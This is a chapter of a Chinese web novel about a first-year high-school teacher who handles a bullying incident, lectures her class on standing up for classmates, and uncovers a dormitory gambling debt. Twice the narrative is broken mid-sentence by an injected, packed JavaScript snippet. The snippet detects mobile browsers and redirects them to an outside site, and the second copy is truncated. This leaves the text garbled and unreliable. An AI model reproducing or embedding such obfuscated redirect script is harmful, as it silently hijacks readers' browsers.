温云旗不信这么长时间过去了,这位龙老师都没看到过对他的两条艾特(温云旗也艾特了他)。 只能是对方在装傻,懒得管事。 周泽文的提醒可太对了。 温云旗不想这个女生再来对自己学生进行霸凌,于是搬出了家长:“这个事情根本就是霸凌!家长非常关注,本来想马上赶来学校处理,被我劝住了。” “我这里也有她骂人的监控视频。” 对面果然认真了一点:“家长也知道了啊,这不好搞哦。” 温云旗并不知道为什么家长知道反而不好搞,她只关心她的学生能不能得到道歉:“这样,最迟明天早自习,我希望您让这位学生来我班当面给学生道歉。” “不然就请双方家长来综治办解决吧。” 跨年级的问题往往不好处理,这个时候就是综治办的老师出场的时候,但对班主任们比较痛苦,因为得暂停手上的事情,去综治办吃瓜加劝架。 很多时候,家长与家长的碰面都不很愉快,往往以家长骂架、老师劝架告终,有天去打卡,温云旗和葛影还看到有两个家长在综治办门口互相指着对方鼻子骂,撕心裂肺歇斯底里,很难不让人想要围观。 她搬出了家长,也提了一嘴综治办,言下之意,你不能解决你的学生,那就我来解决她。 对面终于上心了,匆匆挂断电话,等过了半小时,对方在群里回复她说已经严肃教育了这位学生,并让她等会来班上道歉。 温云旗不卑不亢,回了句谢谢,还补充了一句:“希望这是最后一次在我班上见到她。【微笑】【抱拳】【玫瑰】” 到了晚自习,这个女生果然来了,在前门没好气地喊了一句老师,温云旗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010513|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把路渊博叫出来,陪着他到走廊上听女生的“对不起”。 女生很不服气,小声地说了句对不起。 温云旗冷笑道:“这就是你的道歉?谁听得到?” 女生只好面对着路渊博,大声地说了对不起。 温云旗让路渊博先回去,恶狠狠地对这个女生说:“以后再敢来霸凌我的学生,你给我等着。” “你班主任佛系不管事,我管。” 等女生离开,温云旗站在后门处盯着班里的学生看了好一会,才从后门走到讲台,她拍了拍桌子:“先别看书做题了,我想和大家聊聊天。” 人类对八卦的兴趣是天生的,路渊博被霸凌这事,他们上午也围观过,加上那个女生刚来还来过班上,这时也猜到温云旗想说什么。 班里气氛一下就燥了起来。 温云旗双手插胸,冷眼看向学生:“我对你们很失望。” “啊?”学生们困惑。 “今天有个高二的女生来班上骂人,你们知道吗?” “知道啊,找路渊博的。” “对啊,在后面骂得好大声。” 底下七嘴八舌地聊着,温云旗心里本来就气,现在越听越生气:“都看到了,怎么没一个人帮他骂回去的?” 此话一出,班里顿时鸦雀无声。 “我看监控,当时好几个人在后面围观!都在看戏呢!甚至还有人就在路渊博身边看着!” “怎么,人家都欺负到班上来了,你们就只会吃瓜是吗?” “没一个人关心自己的同学被欺负了吗?” “都看戏,一个上去帮忙的人都没有,这是2421班,不是随便什么东西都能进来的!” “班上的同学正在被高年级的学生霸凌!这是霸凌!你们都在干嘛!你们的冷漠,让我感到心寒!” 温云旗不由得想到自己念高一时,同样是一个同学被高年级同学找上门来,副班长直接拿起一条凳子带着班上同学冲出去,气势比来人还猛,把人给吓跑了。 今天这件事情让温云旗意识到这个班没有班魂,没有义气。 她觉得这件事情本不该这样应对,也想把自己学生时代的事情说给学生听。 于是稍作改编,从“我有一个同学”变成“我有一个学生”。 当了老师后,给学生打鸡血喂鸡汤时,最常说的就是“我有一个学生”,举例论证非常好用。 温云旗亲身体验过多次,比“我有一个朋友”好。 而且还能显得自己有经验有教龄。 “同样是被霸凌,我之前带过的学生比你们敢多了!”她恨铁不成钢地敲敲黑板:“当时也差不多是高一开学没多久,有个高三的学生来我班上找人想打架。说时迟那时快,我的副班长马上要那个同学别动,自己拿把椅子就冲到那个学生面前问他想干什么?” “我班女生们都怕死了,男生们边安慰她们,边跟着冲上去,直接把那个男生围了起来!” 温云旗作为语文老师,讲故事的能力是基操,配合着各种动作表情和语气,一个人在讲台上分饰多角,把这个霸凌事件演得生动,学生在台下听得一惊一乍。 “最后,这个男生灰溜溜地跑了,说什么xxx你给我等着,副班长还追着人家问等什么!” “看看他们!再看看你们!你们不愧疚吗?” “我当然不反对你们碰到这样的事情会害怕,人性是善良的,我也相信,你们在这个事情发生的时候,一定也在为路渊博感到担心,只是让我没想到的是,在教室的你们无一例外,全部选择了围观。” “我没看到你们的善良,反到发现了你们的冷漠。青春期的你们本应该是最有勇气的一群人,可是,没有一位同学愿意为了他挺身而出。你们甚至带着戏谑,在审判胆小的他。” “我真是没想到,你们五十多个人,居然害怕对面一个人。不敢就算了,甚至没一个人想到来办公室找我。” 班上没人敢说话,只有路渊博在位置上抹着泪。 “下次,再有学生来我们班上撒泼闹事,直接给我骂走!”温云旗叉腰大声说道:“对方动嘴你们也动嘴,动手你们也跟着动手,机灵点的,马上来办公室找老师!” “别怕,万事我给你们担着!” 这下班上又有人敢说话了,后排的几个男生在那起哄,说温云旗教唆他们打架。 温云旗无语:“是让你们保护同学!不要曲解我的意思!” 9.炸金花 自从九月中旬开始跑操,温云旗每天就数着日子过。 无他,她们几个年轻人早就找有经验的老老师打听过了,等十一月中旬大课间活动评比结束,学校就会暂停跑操。 目前的节奏,温云旗还能接受。毕竟还没进行到大课间准备的完全形态,现在就是三天打鱼两天晒网,风大了不跑,天空但凡下一滴雨也不跑。 她看了看日历本,目前几个需要上心的大节点,就是十月中的月考和公开课。 除了这两件事,其他都是小事。 师徒结对的事情,她几天前也搞定了。 语文组的研讨会刚结束,她就马上追在组长后面,寸步不离:“组长好!我是新来的温云旗,我可以拜您为师嘛!” 温云旗当然知道组长不愿意收徒。可以说,大部分老师都懒得收徒。 但她也知道,其他的老师或许会拒绝她,但组长一定不会。 毕竟人家是组长。 于是乎,在还不知道组长姓甚名谁的情况下,温云旗拜师成功,加上了微信。 也没让组长问她,自己就十分狗腿地将名字发了过去。 【鹦洲:组长师傅好!我是温云旗,教高一2420和2421班,我没课的时候能来听您上课吗?】 【且向花间:可以。我在高三2201和2205班。】 等周五快交表的时候,她寻摸到高三的办公室,找到正在备课的组长,拜托人家在师徒结对表上签上名字,把表交到行政那边,师徒结对这个主线的前置任务才算真正尘埃落定。 说起来,还是出了组长的办公室,她才知道组长叫什么。 组长姓林名晚照,微信ID恰是取了《玉楼春》里那句“且向花间留晚照”的前半部分。 不愧是语文老师。 她最早也想根据自己的名字来取网名,但奈何“云旗”二字出自楚辞,原句就是云旗的意思,并不好取,于是退而求其次,从她喜欢的“芳草萋萋鹦鹉洲”里选了“鹦洲”二字用到现在。 搞定这件事后,日子也算是如鱼得水。 温云旗的日常就变成了:早起守自习,上课,跑操,守午休,见缝插针听师傅上课,守晚自习,开例会以及各种没收手机和小说。 没收小说是一件很简单的事情,下去转一圈,谁对老师没反应还低着头不动,就大概率有问题。 没收手机就更简单了。一人玩手机,周围人都在围观,那种人头都挤在一块的,准没好事。 没办法,x高平行班生源就这样,你指望学生专心听课那是不可能的。 他们更可能在讲台下面干自己的事情:睡觉,玩五子棋,看小说,玩手机,做手账,玩拼贴,养臭水,玩各种玩具…… 只有你想不到的,没有他们不能干的。 等到冬天,还会在底下用打火机点任何东西,有天温云旗上着上着,后面垃圾桶那块突然升起高高的一团火焰,把她吓一大跳。 当时大部分学生正听课,还不知道发生了什么,看着她脸色都变了,才跟着往后面一看,整个班都沸腾起来。 温云旗当时就发了顿火,下了课就拎着小猫几只丢给葛影:“你班学生干的好事,差点把教室点燃了。” 一向没脾气的葛影这次也好好地发了顿脾气。 “天干物燥,小心火烛”这话可不是乱说的。有个班级某天老师先下班了,两个学生在班上抽烟,完事把没灭掉的烟头往垃圾桶里一扔,火随后便着了起来。 还是温云旗她们查完寝回宿舍的时候,她眼尖发现的,她当时就让葛影停车,她拿手机放大15倍,把着火的画面拍得清清楚楚。 拍完往大群一发,接下来的事就该后勤上场了。 隔天校长就打开广播大肆教育了一通。 公共财产是小事,万一牵扯到人命,那事可就太大了。 任何一个学校都出不起事。 习惯是一件很可怕的事情,温云旗上个月还沉浸在家里蹲的悠闲之中,自从上岗之后,她又很快被动地沉浸在上班的忙碌里。每天两点一线,朝五晚十,和学生斗智斗勇,和老师们嘻嘻哈哈,倒也苦中作乐。 国庆节她爸妈来接她下班回家,老妈看到她第一句话居然是:“崽啊,你怎么老了好多?” “啊妈妈……”温云旗不知道怎么该怎么回答,选择闭麦。 在放国庆假前,温云旗班里还出了一件大事。 九月末的一天,她照例去查寝,却发现有个学生没在宿舍,同寝室的人也没人知道他去了哪里。温云旗一直等到熄灯之后很久,学生都没回来。 葛影还在楼下等她,她再不和葛影一块走,晚上就得抹黑走夜路回去,她没那个胆子。 她等到熄灯,也算是尽了责任,这时也快十一点,温云旗边给家长打电话边拜托了宿管帮忙盯一盯,唯一庆幸的是学校封闭式管理,学生应该还在校内。 家长那边差不多都睡着了,突然接到孩子失踪的电话,自然是吓得不得了。然一家子都在 湾城打工,这一时半会的也只能在电话那头干着急: “老师,这么晚了,我们家胡耀阳能去哪啊?我们一家人都在湾城,短时间内也没办法回来,只能辛苦老师帮忙找一找。” 温云旗坐在葛影的小电驴上一路应是:“嗯嗯,我知道的。他估计出不去,应该还在学校呢,我也让宿管帮忙盯着,一发现他就和您说。” 安抚好家长的情绪,宿管那边还是没有消息。温云旗草草洗了个澡,躺在床上没有丝毫睡意。 学生莫名其妙丢了,这让人怎么睡得着。她强撑着眼皮,把各种社交软件刷了个遍,又看了很久监控,确认学生晚三结束前还在教室,心里渐渐有了猜测。 等到两点多,宿管才发来信息。 一张手电筒照射下夜间模式的人像,和一条二十秒的语音。 “温老师,我刚在二楼高二的宿舍里抓到一群人打牌,里边有几个高一的,你看看这个是不是你要找的那个?他说自己是2421的。” 温云旗都不用点开看大图,立马就确认了嫌疑人:“是他。” “温老师,您这个点还没睡觉啊?” “学生不见了,睡不着啊。” 学生找到了,温云旗也没打扰家长,只转发了宿管拍下的照片,自己编辑了一段文字信息发过去。 家长那边也秒回:“找到了就好,辛苦温老师了。要打要骂都随便您。” 家长说得轻易,实际上,不管打骂都不能。 放在十几二十年前,老师打骂学生的情况也不算少,好些个混混学生就是在痛骂和耳光之下转性收心的。 但今时不同往日,老师一举一动都被关注着,别说打了,稍微阴阳怪气一句,哪怕不带脏字,也有可能被举报上问政橡省。 不说影不影响评奖评优,至少一顿领导请喝茶是少不了的。 更不提,家长上门打骂老师的。x高前些日子就有个例子,高二有个女老师上着上着课就被家长找上门扇了一耳光,不说以后怎么在学生面前立威,自己精神上都得调理很久。 究其原因,其实就是该老师隔了两个小时还没回家长消息,家长一气之下就开车到学校打了老师。 不过老师反应也很快,直接报警,最后还是家长赔了两万块钱了事。 在道心破碎面前,两万块钱都是小事了。这个老师后来直接辞了这个班的工作,领导怎么劝都没用。 事情解决,温云旗倒头就睡。早上还是葛影开了她的门把她叫醒来的。因为起得太晚,她和葛影都迟到了。 不过好在她昨天也和级部主任报备过,早上人来查出勤的时候,直到她睡得晚,也没算她迟到。 进了教室转一圈,发现胡耀阳正趴在桌上呼呼大睡。 想补觉?不可能。 学生让她睡不好,她就让学生睡不好。 她一把拍醒学生,把人喊到外边走廊上:“昨晚不在宿舍,干什么去了?” “在……在高二的宿舍里。”胡耀阳昨晚就被宿管拍了,知道瞒不了温云旗。 “去高二的宿舍干什么?” “玩手机,打游戏。” 温云旗不信,宿管原话可是玩牌。 胡耀阳只好老实交代:“打牌。” 温云旗也没多想,扣了学生的量化分,又罚他搞了一周卫生就算过去了。 但在这件事情上,温云旗还是缺了点经验。 她也是第一次抓着学生打扑克,敏感度不够。 等国庆节放假上来,她没收了胡耀阳两次手机,对方一直缠着她,求她放假把手机给他一台,并且强调,要那台蓝色的。 温云旗觉得奇怪:“第一,我开学时就说过收上来的手机放寒暑假才能还;第二,你为什么一定要我尽快把蓝色那台还给你?” 胡耀阳这才吞吞吐吐地说那台蓝色的手机是借的别人的。 温云旗铁石心肠:“那你自己去和那个人说,我不会还给你的。” 不还,那就用偷的。 胡耀阳和温云旗磨了一周,温云旗都不曾松口。本来温云旗都觉得这件事情可以过去了时,她办公室抽屉被撬了。 她价值两万块的MacBookPro没被偷,另一台用于录音的苹果手机没被偷,最新版的iPad没被偷,唯独抽屉里消失了几台没收的手机。 其中就有胡耀阳点名要她归还的那台蓝色手机。 温云旗清理完毕,再看到她被撬开的抽屉,气都气不起来,只想笑。 真是蠢笨如猪。 不用想都知道是谁干的。 更何况,自从她们几个年轻老师搬进来,宁珂、葛影和她三个人就一块AA买了台监控。温云旗的位置就在门边上,监控清晰的拍到了胡耀阳进办公室的身影。 这人也怪好笑的,知道办公室晚上会关门,还特意跑到办公室里边的小隔间躲着,等熄灯没人了,才偷偷从那出来,拿出铁棍就直接撬。 还是因为昨天温云旗刚好把抽屉钥匙带走了,不然他直接拿钥匙打开,估计温云旗一时半会都发现不了手机消失。 温云旗直接把胡耀阳喊到办公室盘问:“是不是你干的?” “什么事啊?老师我不知道啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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胡耀阳这会眼泪也留出来了:“老师,我欠了他们很多钱,我还不上,他们就让我租手机。手机还被你没收了,我要是不还,他们说要赔两千块。” 不愧是传说中的x高,成绩好的能考清北,成绩差的能在学校开赌场。 扫黑除恶要是来x高,真是一抓一个准。 现在还不是吐槽的时候,温云旗还得解决问题:“欠了很多钱,是多少?” 胡耀阳眼睛左看右看,就是不肯说。 “到底多少!”温云旗直接拍桌子了:“还不说!我怎么帮你!” “孩子,你信老师,这个事情本身就不合规,你输的钱也不能算数。” 温云旗好言好语,胡耀阳才支支吾吾说了数:“六……六千。” “玩了几天输的?” “最开始是赢了的,那晚上,我最开始赢了两千。后来想梭一把大的,太上头了,一晚上倒欠六七千……” “我拿生活费陆陆续续还了一千多,但远远不够……” 温云旗顺手打开手机搜了搜,炸金花这类游戏,谈钱即违法,如今的六千块,已经够得上刑事立案了。 一群法盲。 “这样,你跟我去综治办,和你一块打牌的毕竟有高二的,我没法直接处理,我们找综治办的老师介入。” 到了综治办,温云旗把这事和综治办的大羊老师一说,人也没有多惊讶,只让胡耀阳把几个名字报给他,他一看,马上就说:“这几个我知道。” 然后就喊正在学生会打杂的一个男生去到几个人班上把人喊过来。 这件事,最后解决起来倒也没怎么花时间。敲门声响起,几个油里油气的学生大摇大摆地进来,为首的挑染了个蓝发,问羊学武:“大羊,叫我们过来什么事啊?” 大羊老师指指胡耀阳,问:“认识他吗?” 几个人也知道是什么事了:“认识啊,天天晚上打牌呢。” 大羊猛地把桌子一拍,整个办公室仿佛都震了震:“你们那是打牌吗!那是赌博!” “还一晚上六千!这个数我都能报警抓你们了!还想不想毕业了!给我老实点!” 几个学生突然一下就去油了,老老实实站成一排,悉听发落。 不愧是部队里出来的体育老师,气势杠杠的。 温云旗坐在一旁看着,默默学习。 大羊老师批评了几个学生一顿,胡耀阳的欠款到此一笔勾销,等几个高二的学生离开很久后,大羊才让温云旗带着胡耀阳回班上。 临走前,大羊叫住温云旗,隐晦地暗示道:“这剩下的钱抹了,之前他给的就不要再要了,不然我怕你学生出了学校就被打。” 温云旗马上明白了大羊的意思,点点头,郑重地和人道了声谢。 这件事,温云旗一个字也没少地汇报给了家长,胡耀阳喜提一小时的父母数落和三天回家反省。 温云旗从此也对学生打牌这件事有了新的认知。 打牌的事倒是没再有过,不过,马上,她倒是喜提人生新体验。 警察来学校了。